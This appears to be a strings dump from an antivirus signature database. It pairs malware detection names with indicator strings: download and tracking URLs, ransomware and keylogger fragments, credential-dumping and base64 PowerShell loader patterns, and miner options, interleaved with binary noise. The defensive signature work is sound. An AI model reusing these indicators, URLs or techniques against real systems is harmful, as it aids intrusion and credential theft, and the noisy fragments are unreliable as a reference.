Copyright (c) 1999,2003 Avenger by NhT /Portions Copyright (c) 1999,2003 Avenger by NhTxy !#Trojan:MSIL/CryptInject.PG!MTB !#ALF:Trojan:Win32/Flatterly.B!dha Start DNS Func Send Request To domain : Faild send Data To domain :  Faild send Data To domain : xy !#HSTR:TSPY:Hesperbot.A2 hEw7' !#Lowfi:HSTR:Trojan:Pintole NSS_Initialize 0secmod.db !#TEL:Trojan:Win32/Songstress.A!dha tmy.f iskander.pdb iskander.pdbxy textlinks@lplay.com lp_config_thread_mtx LivingPlay Games cf.livingplay.com cf.livingplay.comxy !#Lowfi:HSTR:Rapzo set_kbHook get_WebcamClient get_SendFileClient CommandPromptPacket get_Devices get_Devicesxy !#VirTool:Win32/Obfuscator.XTEA !#ALFPER:HSTR:Win32.SuspiciousInstaller.S01 {cid} {net} {db}{wv}{sb}{cid}{net} ChromeHTMLxy !#HSTR:Base64InvExpr ::FromBase64String( iex(xy iSvc2.dll \\iSafe\\trunk\\bin\\iSafeSvc2.pdb runiSvc2.dllxy !#TEL:HackTool:Win32/GDad_Network_hstr.A!dha Network.dll !#TEL:Win32/SuspApphelp.A ApphelpCheckMsiPackage ApphelpFixMsiPackage ApphelpFixMsiPackagexy !#Trojan:MSIL/Razy.MR2!MTB \\brave\\Preferences bBrave #RANDOM_NAME#xy !#ALF:Ransom:Win32/FileCryptor.L!MTB erawosnar .sick FileName.txt what you want from your victim what you want from your victimxy GamevanceText.Linker.1 data.5threvolution.com Software\\gvtlxy !#ALF:HackTool:Win32/Nosogo.F!dha  search_forbidden.exe.manifest  remove_forbidden.exe.manifest PYZ.pyz PYZ.pyzxy !#ALF:Trojan:Win32/Slunker.A!dha [+]write success [+]load success [-]load failed [-]write failed[%d] [-]write failed[%d]xy !#HSTR:Backdoor:MSIL/Hammertoss.A!dha tDiscoverer.exe READYSTATE_INTERACTIVE IWebBrowserApp CallSite CallSitexy !#Ransom:Win32/SodinokibiCrypt.SL!MTB /bin/%a*sh 15b358b6a917 15b35abef2b7 15b360b493c7 15b377deaf1b 15b37db1a37f 15b38c3b6215 15b38ce711aa 15b391e22112 15b3b6ed70da 15b3bc827cbe 15b3c12fb0a1 15b3c49e8f1e 15b3d007c5f9 15b3db1f2c51 15b3db78cabd 15b3dc2a8019 15b3e45ddc2d 15b3fb25d1d1 25b3302a548d 25b3e06fe6ba 25b3f6cc4ddf 32b3becef1f2 45b33230162f 55b3dade899a 2db346333d96 2db346333d96IncludesResearchData T1070.004  73b32afc7f81 73b32afc7f81IncludesResearchData T1070.006  43b3fc994a74 43b3fc994a74IncludesBMLuaLib 60b358a8aaa7 60b358a8aaa7IncludesBMLuaLib 26eb342ae35af /logrotate 2a1b33d0da295 2a1b33d0da295IncludesBMLuaLib,ResearchData 8bb3f12f1a64 20db3e68bbfed 20db3e68bbfedIncludesResearchData GrubTampering.A isRebootDangerous T1561.002  Impact 7db3510b66c5 41b30d591403 .config/autostart 9bb3d39dddaa \t!EF@  45b3a8e1c3a5 45b3a8e1c3a5IncludesResearchData  T1190 webserver_childproc 77b32f8d41b7 %d+%.%d+%.%d+%.%d+ 69b38d3c0ac1 69b38d3c0ac1IncludesResearchData  41b3c79c6f19 19b329cb4fc6 2ebb32d3e9e6a 2ebb32d3e9e6aIncludesBMLuaLib,ResearchData 88b39dab5b1a docker_start  /([0-9a-f]+)/hosts$ 51b3567b152a V2k7R .kUl227x~ ;  eTM 4V7&B hJ Uy zk8I^ Jn() snRt7 / 1B~D eTl;V ~o<=Z )zF|h@&2 _s64U,h /N*3'I8|? /W]vt TGu07 /zp>'m hEgY,ZaU& [7ij$ /b!{/u xf.d\\ |n\\ng -tqys Pv7bh ~\"6iV{ WI.)Uk-e !9\\[k# rwQH frR = 0S]G6 0S]G6/ 0r1<^ 0uZgg pZff~ 0u|PTo  K[\\aS \ti MZ ry&XK QB*k= |u\"F$ 06~ ~ 1N7H; d:UyV eTBE[ op_oc TaVgk &)r\tA !Renos.PH !Rorpian.A !Rorpian.B !Rorpian.gen!A myporno.avi.lnk pornmovs.lnk setup%u.fon aff_%u.dll setup%u.lnk Sending exploit to %s from %s downloadedav !Alureon.gen!Y !Adload.CH BrowserModifier:VBS/Startpage.A !Rorpian  _<\tY~ !Small.gen!BJ !Small.TQ !Pushbot.UV !Chepvil.J bpsv6g !Chepvil.I !Agent.ABHN !Killav.FI !Agent.ABHP !Dofoil.D !Dofoil.D-@ j@OoF [~c<> .+:\\\\aw1\\\\Etmscztha.vbp !Rorpian.C !Rorpian.D Killav.AV c:cd\\arquiv~1ifnotexistavg\\avgupd.*gotosgndvrfc 1c:cd\\arquiv~1ifnotexistavg\\avgupd.*gotosgndvrfc !Alureon.EV !Killav.FY MonitoringTool:Win32/Starlogger Bsoft\\Windows\\CurrentVersion\\App Management\\ARPCache\\StarLogger_is1 Run StarLogger [left windows] #Desktop will be captured regularly. !Pushbot.UW !Renos.PI  \tINFECTED] !Agent.QE \\inetc.dll/end\\bundle.exehttp://.zdropp.co.cc/download.php?token= C\\inetc.dll/end\\bundle.exehttp://.zdropp.co.cc/download.php?token= \\inetc.dll/end\\bundle.exehttp:// W\\inetc.dll/end\\bundle.exehttp:// .uz4. /exe/ 0/bundle.exe/silentget\"\\bundle.exe\" \\inetc.dll  .wgett.co.cc/ token= .exe\" /S .exe\" /Sx #\\OfferBox\\config.xml /trackstats.php id=1&token= /trackstats.phpid=1&token= \\OB.exe \\count_total.txt \\count_total.txthttp: .uz4.net/log34756.php .uz4.net/log34756.php] !Alureon.gen!Z !Renos.PJ !Rorpian.E  /`2>g WGDAs !Rorpian.E!inf shell\\explore\\command=rundll32.exesetup 7shell\\explore\\command=rundll32.exesetup !Rorpian.E!lnk rundll32.exesetup Hrundll32.exesetup .fon, 0-9a-f!%systemroot%\\system32\\shell32.dll% !Renos.PK !Agent.PJ !Vundo.NX !Renos.PL !Adload.CI jpdesk_ /dlcall !Renos.PM software\\microsoft\\ 0)software\\microsoft\\ a-z0-9 !Pushbot.UX !Agent.ABHQ _lSrI !Adload.CJ !Pushbot.UY !Pushbot.UZ !Adload.CK !Agent.ABGB !Renos.PN !Ldpinch.CQ gJn_34287568_T7DD atuando.php C:\\systeam\\javaupdate .to//cdmod.html .to//cdmod.html] !Vundo.NY !Vundo.NZ !Vundo.gen!AW !Agent.ABHR !Adload.CL !Alureon.gen!AA Trojan:Win64/Alureon.gen!C CDf9E Trojan:Win64/Alureon.gen!D DownloadToFS DownloadToFS] !Hamweq.DR !Renos.PO !Alureon.gen!M !Alureon.EX .php?i= 10..php?i= &f=0&x64=0&os= &elevated=0 !Rorpian.F Trojan:Win64/Alureon ( <Qq\\ BrowserModifier:VBS/Startpage.B !Alureon.EY TrojanDownloader:HTML/Renos.gen!E !TrojanDownloader:HTML/Renos.gen!E imgonmouseover=\"window.status='downloadstreamingplayermediaplease!';\"alt=\"updateflashpluginplease!\"src=\" jimgonmouseover=\"window.status='downloadstreamingplayermediaplease!';\"alt=\"updateflashpluginplease!\"src=\" !Dofoil !DofoilT@ @JhE4as )k^Xh  k^Xhg ($5Mb~ Q+7@b~ QFR[B! QFR[B!b~ Sf\" @yu \\smss.exe_ \\csrss.exe_ \\ctfmon.exe_ \\dxdiag.exe_ \\gefreg.exe_ \\lxdiag.exe] !Killav.FM ravmondsfctlcommpmontwister !Rorpian.G !Bredolab.AG !Renos.PP !Chepvil.K /f/g.php !Chepvil.L !Small.TS HWindows Help Engine application file Content-Type:multipart/form-data;   boundary=77fcd2ncos33a816d302b6 /install.asp /install.asp] BrowserModifier:Win32/Veplugin.A   BrowserModifier:Win32/Veplugin.A !Ponmocup 8]#]  !Fareit.A !0*#R, 0,J<h !Hulstor.A !Sefnit.M !Ldpinch.CR VMM`t !Slenfbot.AKO Rogue:MacOS_X/FakeMacdef QWgZeof http://%@/mac/soft.php?affid=%@  http://%@/mac/soft.php?affid=%@ cd /Applications;unzip %@;rm -rf __MACOSX )cd /Applications;unzip %@;rm -rf __MACOSX http://%@/mac.php%@ ?v=%@&affid=%@&data=%@ http://%@/mac.php?affid=%@ http://%@/i.php?affid=%@ !Dorkbot.B A4wLO !Koobface.AU %s?action=twreg&mode=res& /.sys.php !Agent.PL +:YUm !Small.gen!BK c:\\window !Sefnit.N !Neeris.BG !Pushbot.VA !Small.gen!BL !Small.gen!BM !Sefnit.O  %s\\sfc.exe  %s\\sfc.exea !#HSTR:PWS:Win32/Jauxeer.B software\\%s  WSASocketA CreateToolhelp32Snapshota !#HSTR:TrojanDownloader:Win32/Zlob.gen!BO.1   %s\\ssw%s%d.exe  %s\\ee%s%d.exe %s\\eea%s%d.exe %s\\ggq%s%d.exe %s\\hjs%s%d.exe %s\\hjs%s%d.exea !#Lowfi:PUA:BundlerCluster:SearchSuite \"software\\datamngr \"o com a internet. ,--restore-last-sessiona !#HSTR:Win32/CoinMiner.D  fee.xmrig.com  -o, --url=URL )cryptonight (default) or cryptonight-lite -a, --algo=algo xmrig/%s libuv/%s%s donate.xmrig.com donate.xmrig.coma !#HSTR:Win32/Keylogging.B attachthreadinput getforegroundwindow getcurrentthreadid \twritefile  createfile getwindowthreadprocessid getwindowthreadprocessida !#TEL:Trojan:Win32/Env_Aware  user1 VMware Virtual HD Wireshark.exe samplea !#HSTR:Adware:Win32/Cashback.1.0  SelfupdateURL InstallURL2 DownloadURL AgreeURL BootURL2 \tBootDate= UserID= Product= Version= Count= Date= Date=a !#HSTR:TrojanDropper:Win32/Yangxiay.A >Del1.Bat  :DeleteFile \" goto StillExists >Del1.Bat :DeleteFiledel \"\" /Aif exist \"\" goto StillExists  GetDriveTypeA DllRegisterServera !#HSTR:Program:Win32/Pameseg!Hosts \tsms911.ru help-cmc.ru  bitcash.ru super-filez.biz vskachke-premium.com vskachke.com  za-load.ru za-premium.com za-premium.coma !#ALF:Adware:Win32/EoRezo.AM!MTB =SOFTWARE\\Classes\\CLSID\\{55FC8D93-9E8B-41D6-84A4-09830910158D} =SOFTWARE\\Classes\\CLSID\\{8244CE7C-A878-4BE9-8B6B-19206DA348C2} =SOFTWARE\\Classes\\CLSID\\{8244CE7C-A878-4BE9-8B6B-19206DA348C2}a !#HSTR:Win32/DelphiFile FPUMaskValue TInterfacedObject MAINICON Software\\Borland\\Locales Software\\Borland\\Delphi\\Localesa !#ALF:HackTool:Win32/PwDump!MTB quarks-pwdump.exe <options> \\SAM\\Domains\\Account \\Policy\\Secrets\\NL$KM\\CurrVal OpenProcessToken() |  / / __ \\_|  | \\/| |  / / __ \\_|  | \\/|a !#HSTR:ThreeBrazillianBanks caixa.gov.br hsbc.com.br itau.com.br prime.com.br safra.com.br santander.com.br serasaexperian.com.br serasaexperian.com.bra !#HSTR:MSIL/MulEnc.MJ BlowFish  DecryptARC Alpha (E117A40BF9A3AE32474AD7B22EB4C60E95D3BE2A ':\\Users\\AymenTLILI\\Desktop\\StarterPack\\ ':\\Users\\AymenTLILI\\Desktop\\StarterPack\\a !#App:NotAMiner:AwesomeMiner 6AwesomeMiner.RemoteAgent.Properties.Branding.resources $AwesomeMiner.Service.Core.Components #AwesomeMiner.RemoteAgent.Components #AwesomeMiner.RemoteAgent.Componentsa !#HSTR:Worm:Win32/OutlookMail &Outlook.Application AddressLists AddressEntries Attachments !#BM_AT:FileZilla JFileDescriptionFileZilla FTP Client ,ProductNameFileZilla Tim Kossea !VSCAN// Failed to find first file VSCAN// Failed to access file (VSCAN// Failed to create mapping of file \"VSCAN// Failed to map view of file \"VSCAN// Failed to map view of filea !#TEL:Trojan:Win32/Karkoff.B!bit cred set true! DropperBackdoor rimrun.com *Port?5505?5487?Servera !#HSTR:PWS:Win32/Janet!dha 4XFxTVFdJU00lc1xEZXZpY2VVcGRhdGVzXDUwMFxhdGhlbmEuZGxs FOUND TRACK: %s FOUND TRACK 2: %s \t<unknown> !#BM_AT:RemoteDestopApp RdClient.Windows.dll RHBinder__ShimExeMain (RdClient.Windows.exe 0Microsoft Remote Desktopa !#HSTR:Pinball_Names \tAppKikxSA LhootSA  MossySkySA SeeqDoSA LukyLuSA BlueTurtleGamesSA  zManateeSA  KangoBoxSA RavenBleuSA VooMuuSA BrightBreezeSA BrightBreezeSAa !#HSTR:Torrent:Win32/Deluge 2Deluge Bittorrent Client deluge.exe deluged.exe \"exec importer.get_code('__main__') \"exec importer.get_code('__main__')a !#HSTR:Trojan:MSIL/AgentTesla.VI97!MTB \t\t\t!#HSTR:Trojan:MSIL/AgentTesla.VI97!MTB F_7_7_7_7_7 F_2_2_2_2_2 X_0_0_0_0_0 Z6666666666666 Q_8_Q_8_Q_8 ZZZZZZZZZZZ33333333 Sleepa !#ALF:Trojan:Win32/Lesknarly.A!dha .\\Lesnar\\documents\\visual studio 2013\\Projects\\  cG93ZXJzaGVsb Bvd2Vyc2hlbG  \tY21kLmV4Z NtZC5leG \tjbWQuZXhl \tjbWQuZXhla !#HSTR:Roker_do_deep_rescan \\updater\\ C:\\SELF.EXE ZSoftware\\Microsoft\\Windows\\CurrentVersion\\Runa !#TEL:Backdoor:Win32/TinyP.A!dha winhld64 \"\\\\%s\\ADMIN$\\%s.%s -nosvc Failed to instlal service %d Failed to logon user %S\\%S:%S Failed to logon user %S\\%S:%Sa !#HSTR:PUA:KuaiZip.P1 (\\Install\\trunk\\out\\release\\setup.exe.pdb get_k_skin_fail load_k_fail \"SOFTWARE\\Hintsoft SOFTWARE\\Sicenta !#TEL:HSTR:Win32/Coinminer.AY  stratum.dgb.theblocksfactory.com win32cldefender.exe \tDadas.gpu %lf.NEW DIFF LOLOLO mining.set_difficulty PAUSE: %d SLEPT: %d PAUSE: %d SLEPT: %da !#HSTR:PWS:Win32/Wowsteal.AC Hookon  wowrecord.ini wowchina.com logon.worldofwarcraft.com SetWindowsHookExAa !#HSTR:VirTool:MSIL/Compressor.netshrink.A zThis application is compressed with .netshrink (demo version)a !#HSTR:KINGSOFTANTISPY SOFTWARE\\Kingsoft\\Antispy \"Kingsoft Internet \"Kingsoft Co.,Ltd.a !#TEL:HackTool:Win32/Htran  [+] OK! I Closed The Two Socket. Windows date and time service -slave >Enter Your Socks Type No: [0.BindPort 1.ConnectBack 2.Listen]: >Enter Your Socks Type No: [0.BindPort 1.ConnectBack 2.Listen]:a !#TEL:VirTool:MSIL/CryptInject.KA!MTB xz.dashi88.com/fash.ini 1Software\\Microsoft\\Windows\\CurrentVersion\\fashtag E:\\10193\\Release\\SnowFlake.pdb terminate@@YAXXZ terminate@@YAXXZa !#HSTR:HackTool:Win32/Gabrielle!dha 0S4M\\Domains\\4ccount r3gistry hive reading error! LSASS.EXE %s:%d:%s:%s:%s:: $Local  LMPASSWORD  LMPASSWORDa !#ALF:Trojan:Win64/Dryvan.R!dha CopyCorTo CorBindToRuntimeEx GetQOS GetRequestedRuntimeInfo IEEumn LoadKourDB LoadLibraryShim LoadOptrate LoadStringRC mscoree.dllCopyCorToCorBindToRuntimeExGetQOSGetRequestedRuntimeInfoIEEIEEumnLoadKourDBLoadLibraryShimLoadOptrateLoadStringRCa !#ALF:Trojan:Win32/Roseam.A!dha @openuploadlistdrivel=%s&c  ^end^^%d|%s|%0  0G4GuG GtGuG A6_6X6_6X6S6B6 GtGuGA6_6X6_6X6S6B6a !#AllowList:Macrobondmaillauncher S\\ccnet\\Publish_Client\\work\\src\\mainapp\\Abacus.LaunchMail\\bin\\Release\\LaunchMail.pdb .Macrobond mail launchera !#AllowList:QuickLab \\Quicklab.exe Maksense .iSens - Electronica Lda 0netindexor2_client_starta !#ALF:Trojan:Win32/Dridex.MK!MTB RicochetingSpooky SunshadeRepenting StridencySpleens RicochetReshufflin StuntmanRetitling TrickleSomalia PuppetsProofread PuppetsProofreada !#HSTR:Trojan:Win32/Qhost.AP 127.0.0.1  32881.com 127.0.0.1  www.32881.com 127.0.0.1  hack.32881.com 127.0.0.1  backdoor.32881.com 127.0.0.1  backdoor.32881.coma !#BM_AT:Tokenvator &\\\\.\\pipe\\Tokenvator Tokenvator.pdb ,[+] Process Terminated *{0,-25}{1,-20}{2,-20}a !#HSTR:MSIL/LoadedBin.A P(Assembly.Load(Convert.FromBase64String( <.EntryPoint.Invoke(null, null)a !#PUA:Block:PassShow Habe2869f-9b47-4cd9-a358-c22904dba7f7  KeePass csv file $WebBrowserPassViewa !#Lowfi:PUA:BundlerCluster:4Shared  range: bytes=%i- .?avdiskfile@@ .?avxmlloaderbase@xml@@ 6universaluseragent(winhttp)a !#PUA:Block:LoadMoney //binupdate.mail.ru ,Software\\Mail.Ru\\Agent \tnotoolbar partner_online_url +exe.agent.mail.ru/sputnik/mailrusputnik.exe +exe.agent.mail.ru/sputnik/mailrusputnik.exea !#HSTR:Backdoor:Win32/Ghost.E virus admin$ del %%0  shell\\open\\Command ,\\Device\\PhysicalMemorya !#HSTR:TrojanDropper:Win32/Kryptik.C $src=\"http://%s/js.php?affid=%s&kw=%s  LdrLoadDll appinit_dlls  loadappinit_dllsa Cannot call connect on UNBOUND socket in rendezvous connection setup FCannot call connect on UNBOUND socket in rendezvous connection setup Listen/accept is not supported in rendezous connection setup >Listen/accept is not supported in rendezous connection setupa !#HSTR:VirTool:Win32/VBInject.gen!AN.3 &WriteProcessMemory \"SetThreadContexta !#ALF:VirTool:MSIL/CryptInject.PA!MTB  library.dll \\%Service.exe% Drop_Run  Proper_RC4  Proper_RC4a !#AllowList:BhakteeSoftware Bhaktee Software Pvt. Ltd. (Opp. Municipal Comm. Bunglow, Rajkot - 7 VisualFoxProRuntime.9 ,inflate 1.2.3 Copyright 1995-2005 Mark Adler ,inflate 1.2.3 Copyright 1995-2005 Mark Adlera !#PUA:Block:Yantai SOFTWARE\\kaola tjkaola.sulang.com  hao123JuziBrowser\\hao123Juzi.exe 9SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\kaola lijiuninstall.png lijiuninstall.pnga !#AllowList:WDExclusion SL.Framework.Config.WCF <Shell\\Open\\ddeexec\\Application 8SL.Framework.Config.Base.dlla !#HSTR:CMIDriver 0Audio Control Panel (CMI @code.google.com/p/cmediadrivers/ \"CurrentVersion\\Uninstall\\CMIDriver \"CurrentVersion\\Uninstall\\CMIDrivera !#PUA:ML:Blocked:Toptools *thescreensnapshot.com \\Common\\I18N\\conf.db 6Global\\Mutex_TOOLSI18NGUID_ ScreenSnapshot.pdb ScreenSnapshot.pdba !#Lowfi:PUA:BundlerCluster:OpenCandy .?avcfilerequest@@ .?avcdeclinebutton@@ -.?av?$catldllmodulet@vcvalidatemodule@@@atl@@ (%d%/%3s%/%d %d:%d:%da !#OFN:certutil.exe certutil.pdb URLCache $CertUtil URL Agent (CertUtil Application *disallowedcertstl.caba !#HSTR:Adware:Win32/InternetSpeedMonitor.B t jjW &upd_stopped upd_initialize upd_setup &upd_stoppedupd_initializeupd_setupa !#TEL:Ransom:Win32/Ransombuilder.A!rsm Ransomware Builder (Set Special Decryption Price For Country Download Ransomware Core /files/core.exe bitcoin bitcoina !#HSTR:TrojanDropper:Win32/Small.VO  YRZYVa !#HSTR:TrojanDownloader:Win32/Fendires 6\\ferian\\WindowsDefender.exe Software\\ferian *www.bancofalabella.cla !#ALF:Trojan:Win32/Ratsnif.A!dha /cl_client_cmd.php /cl_client_file_download.php /cl_client_online.php /cl_client_file_upload.php pcap_open_live Poison Device IP Poison Device IPa !#PUA:Block:PBot (operacl.cf/click.php $Software\\Archive_v Hmcfckchjhehcdgoeihjjjbkcdpdfmloa.crxa !#AllowList:Omniform www.eomniform.com OFMailX.cab OFMailNP.jar JOmniForm Mailable Filler Bootstrapper OMNIBOOT.EXEa !#PUA:ML:Blocked:PCAcceleratePro \"Software\\VemoPCAP VemoPCAPSystem AVCPCAcceleratePro *SOFTWARE\\Alcohol Soft ClOnSpeeda !#ALF:Trojan:Win32/CryptInject.BK!MTB \tIsLogging PasswordHash fingers-.jpg MindLated.pnga !#HSTR:PossibleVeil.A <lambda> rstrip   string_escape ctypes decode <module>a GP Bar \tC:\\GP.mht mutexGP  access_to_cfg_gp L{4D5C8C25-D075-11d0-B416-00C04FB90376}a dtPlugin.DLL dtPlugin.DLLDllCanUnloadNow  WhenU\\whuRoot &DTAdapter.DTAdaptera !#HSTR:HackTool:Win32/EmailDump.A!dha ,and yes is the default key,you can change it as you like but up to 16bytes. Lu's Zany Message Store Lu's Crazy Profile (democode) Lu's Crazy Profile (democode)a !#HSTR:PCMateKeylogger.A1  TfrmKeyLogger ButtonHiddenandSpyClick ButtonDeleteReportsClick ButtonViewReportsClick  HotKeyManager  HotKeyPressed HelpMoreFreeToolsLink HelpMoreFreeToolsLinka !#HSTR:PWS:Win32/QQpass.gen!C.1 QQNumber.ini doudou dll_qq 9START  QQUIN: \t PWDHASH: \\ewh.db 0VerCLSID.exe firstrun firstruna Data\\GlobalMgr.db 4http://cdn.zry97.com/youxi (DownLoadFrame_splash \"zhudongfangyu.exea !#ALF:Trojan:Win32/NKHOPLIGHT!MTB fjiejffndxklfsdkfjsaadiepwn reykfgkodfgkfdskgdfogpdokgsdfpg etudjfirejer  www.naver.com  emailAddress= ct_init: length != 256 ct_init: length != 256a !#HSTR:RITSERVICE!CLEAN )Error! Load library: .\\CodeLib.dll CEntry )Error!Load library: .\\CodeLib.dllCEntry 8mailto:Support@ritservice.ru 0http://www.ritservice.rua !#PUA:BundlerCluster:SpeedUpMyPC addscheduledtaskonlogon Hrestore point created; number=%i64d. installerextensions.dll _writeusersid@8 _writeusersid@8a !#BM_AT:MSFRottenPotato MSFRottenPotato.exe MSFRottenPotato.pdb CMSFRottenPotato@@AEAAHPEADH L{00000306-0000-0000-c000-000000000046}a !#Adware:Win32/Windupdatesd .windupdates.com Win%d%ow%s S%y%nc%r%oA%d W%i%ndo%ws% S%erv%eA%d A%dm%il%l%i S%er%vi%c%e A%dm%an%ag%er C%ont%rol%le%r De%s%kA%d S%erv%ic%e De%s%kA%d S%erv%ic%ea !#SLF:Win32/CobaltStrike.A!dha  cATGBBO  mA@@KMZGA@ YG@JG\\ oMMK^Z.bO@I[OIK bAOJbGL\\O\\W mF\\ACK \t]W]@OZGXK |ZB{]K\\zF\\KOJ}ZO\\Z  Zahir Accountinga !#ALF:HackTool:Win32/KMSActivator.K!MTB KMS Server Service Emulator KMS protocol RandomKMSPID KMS host extended PID KMS host current active clients KMSSS.exea !#TEL:Trojan:Win32/Dridex.E!MSR !#Adware:MSIL/SanctionedMedia :CurrentVersion\\Uninstall\\Smad \\SanctionedMedia\\Smad Release\\SmadUpdater.pdb $9f9a812c-2174-4d2b-a0aa-7671b634fba5 $9f9a812c-2174-4d2b-a0aa-7671b634fba5a !#AllowList:AtTool >UltraCam\\Src\\UltraMap\\AtTool\\AtTool\\obj\\x64\\Release\\AtTool.pdb  AtTool.exe 3//Geospatial//Main//UltraCam//src//UltraMap//AtTool AtTool.Properties.Resources AtTool.Properties.Resourcesa !#HSTR:Torrent:Win32/BitComet GUI_BitComet_wx.pdb BitComet Commandline <BitComet - a BitTorrent Client (IDR_DLL_BITCOMET_RESa !#AllowList:ITSSecureWebBrowser \\ITSSB_Process.log Finished SecureSystem IsSecurityRunning Software\\ITS\\Secure Browser ResetBlacklistProcesses IsBlacklistProcessRunning IsBlacklistProcessRunninga !#ALF:Trojan:MSIL/AgentTesla.MFP!MTB \t\t\t!#ALF:Trojan:MSIL/AgentTesla.MFP!MTB %$c927a9ee-cedd-4165-9566-de3789afcb63 LamdaX.Hyatt  PDAUserName PDAPassword OnLoada !#HSTR:Trojan:MSIL/AgentTesla.VI2227!MTB    \tget_XVIII \tToBoolean   SuspendLayouta !#HSTR:TrojanDropper:Win32/Kolosha.A keystart!!!  CheckSumMappedFile InternetGetConnectedStatea !#HSTR:DigiNewsPressClient \\DigiNewsPress_Client.exe:*:Enabled:DigiNewsPress Newspaper K> >\" H.`1> >!ZlwJ cz??  cz?? i |,v>& j|,v>& [5?\"x FHD9> 9C<,?? :A|(r> >&=?:{ r>#MT > WkOQ\t? <\tKb? coaXN? EO3x> jW> *,Z&= -3^\t? ?%F|C= ?$HUV ? `c} yEi_? B?##% _?25q* ;*M?\t  HD9> 7cz?? >\"Z[< ?%\\]h ? ab0 <!qsm 1O3x> +l?S? &Dt= '&Dt= ( <&2ZQb ? ?\t5Kk#e? ?$?A# g?#MO NHD9> l?S?% ?$4aw <!:;D HD9>% %DHD9>%&5 ')&U? s  ?  s  ? 8; NoOpen Drive Msxml SYSTEM\\WPA vxdfile VBEFile WSFFile CATFile CDAFile CERFile chkfile cmdfile comfile CSSfile txtfile drvfile MSDASQL emffile epsfile hlpfile htcfile icmfile inffile inifile invfile JSEFile lnkfile midfile ocxfile P10file PFXFile SPCFile pbkfile pfmfile piffile PKOFile sysfile VBSFile IAS.Match.1 AIFFFile chm.file PerfFile & .lnk\\ShellEx & ADSystemInfo & DAO.Field.36 & IAS.InfoBase & IAS.NTGroups .aiff jpegfile curfile ( playflashdxa .bmp\\ShellNew .rtf\\ShellNew .txt\\shellnew ADsNamespaces HNetCfg.FwMgr IAS.CClient.1 IAS.IasHelper LDAPNamespace NameTranslate WSHController avifile\\clsid ias.urhandler rtffile\\shell SOFTWARE\\ODBC AlwaysShowExt rord.RTF.8 AudioCD ASP.HostEncode IAS.Accounting IAS.InfoBase.1 IAS.NTGroups.1 IAS.NTSamNames OlePrn.AspHelp SOFTWARE\\Fonts  EditFlags .mhtml IAS.IasHelper.1 ITIR.LocalGroup http\\extensions scrfile\\shellex msbackupfile SOAP Moniker fonfile Font file giffile GIF Image pngfile PNG Image IAS.ADsDataStore IAS.NTSamPerUser IAS.NetDataStore Microsoft.XMLDOM OlePrn.AspHelp.1 ias.accounting.1 ias.auditchannel ias.nteventlog.1 Console \tFontSize software\\classes  system\\setup Paint.Picture .htm\\OpenWithList MSProgramGroup exefile 2 ADODB.Record\\CLSID AVIFile\\Extensions IAS.ADsDataStore.1 hlpfile\\shell\\open ias.policyenforcer software\\microsoft FullScreen ADsDSOObject\\Clsid  Word.Template.8 AVIFile\\Compressors AdvancedDataFactory DBRSTPRX.AsServer.1 ITIR.LocalWordWheel ITIR.WordWheelBuild applications\\hh.exe atl.registrar\\clsid batfile\\DefaultIcon catfile\\defaulticon cplfile\\shell\\runas icmfile\\defaulticon propertyentry\\clsid Software\\Java  SYSTEM\\Setup Cmdline Text Document ADODB.Command\\CurVer ASP.HostEncode\\clsid AllFilesystemObjects Applications\\cag.exe Applications\\osa.exe Microsoft.XMLDSO.1.0 applications\\osa.exe ecmascript\\olescript software\\alifwfg Volatile Environment software\\kong SOFTWARE\\Classes\\.au SOFTWARE\\Classes\\ADs $Agent.Character.2 $URL:LDAP Protocol \tnullfile curfile\\defaulticon icofile\\defaulticon .mv\\PersistentHandler BMPFilter.CoBMPFilter RACplDlg.RARegSetting Scriptlet.Constructor ias.timeofday.1\\clsid ias.urhandler.1\\clsid system\\select SOFTWARE\\Classes\\.aps SOFTWARE\\Classes\\.dib SOFTWARE\\Classes\\.msc SOFTWARE\\Classes\\.otf SOFTWARE\\Classes\\.pma SOFTWARE\\Classes\\.tlb SOFTWARE\\Classes\\.ttc SOFTWARE\\Classes\\.wvx SOFTWARE\\Classes\\.xix SOFTWARE\\Classes\\.z96 PerceivedType perceivedtype audio  Animated Cursor mhtmlfile\\defaulticon .avi\\PersistentHandler .dbg\\PersistentHandler .fnt\\PersistentHandler .gif\\PersistentHandler .m14\\PersistentHandler .msg\\PersistentHandler .p7m\\PersistentHandler .pot\\PersistentHandler .ttf\\PersistentHandler .txt\\PersistentHandler .vbx\\PersistentHandler .wav\\PersistentHandler OLETransactionManagers ias.auditchannel\\clsid software\\domain software\\kongqi software\\thanku Applications\\accwiz.exe software\\johndoe914 Keyboard Layout\\Preload software\\fuckyou software\\risingu *VisualStudio.exp.9.0 batfile $MS-DOS Batch File htafile $ HTML Application > ADODB.Stream Applications\\oledb32.dll Applications\\perfmon.exe UPnP.DescriptionDocument applications\\isignup.exe homepage.homepage\\curver ias.netdatastore.1\\clsid software\\antiware imgsvc  Content Type image/gif ,PowerPoint.Template.8 rlogin (URL:RLogin Protocol rtffile &Rich Tect Document @\tAIFFFile $AIFF Format Sound AdvancedDataFactory\\Clsid Applications\\awdvstub.exe Applications\\cryptext.dll Applications\\drwatson.exe Applications\\explorer.exe Applications\\fpidcwiz.exe Applications\\graflink.exe Applications\\iexplore.exe Applications\\msrating.dll Applications\\netshell.dll Microsoft.DirectSoundWave applications\\fontview.exe applications\\hypertrm.exe applications\\orgchart.exe applications\\ttxmpc97.exe ias.mschaperrorreporter.1 identities identity login persist zasucks P10File (Certificate Request JavaScript \"JScript Language JSFile\\ScriptEngine JScript Microsoft.DirectMusicStyle WindowsInstaller.Installer Control Panel\\Sound HARDWARE\\ACPI\\FACS\\ software\\classes\\.ht htfile 0Microsoft.Jet.OLEDB.4.0 regedit *Registration Entries regfile CDO.Message OlePrn.OleSNMP OleSNMP Class Microsoft.Update.Downloader chm.file\\shell\\open\\command mime\\database\\charset\\ascii otffile\\shell\\print\\command Keyboard Layout\\Substitutes lastknowngood SOFTWARE\\Microsoft\\Direct3D 4Folder Redirection Editor  content type image/x-icon dllfile ,Application Extension JRO.JetEngine  JetEngine Class MMCCtrl.MMCCtrl MMCTask.MMCTask MMCTask class VBSFile\\ScriptEngine rtffile\\shell\\print\\command protocols\\name-space handler software\\uninstall 0o01gibex9 0rw89ibex9 13pfgibex9 3svmcibex9 6zuu1ibex9 9up1vibex9 atwa2ibex9 benmbibex9 cjteaibex9 fd1pqibex9 fegkhibex9 goz1aibex9 hiiwribex9 ikvyzibex9 jko0xibex9 kewpxibex9 mkdr9ibex9 0000-0000-C000-000000000046}\\DataFormats\\GetSet @Interface\\{00000610-0000-0010-8000-00aa006d2ea4}\\proxystubclsid 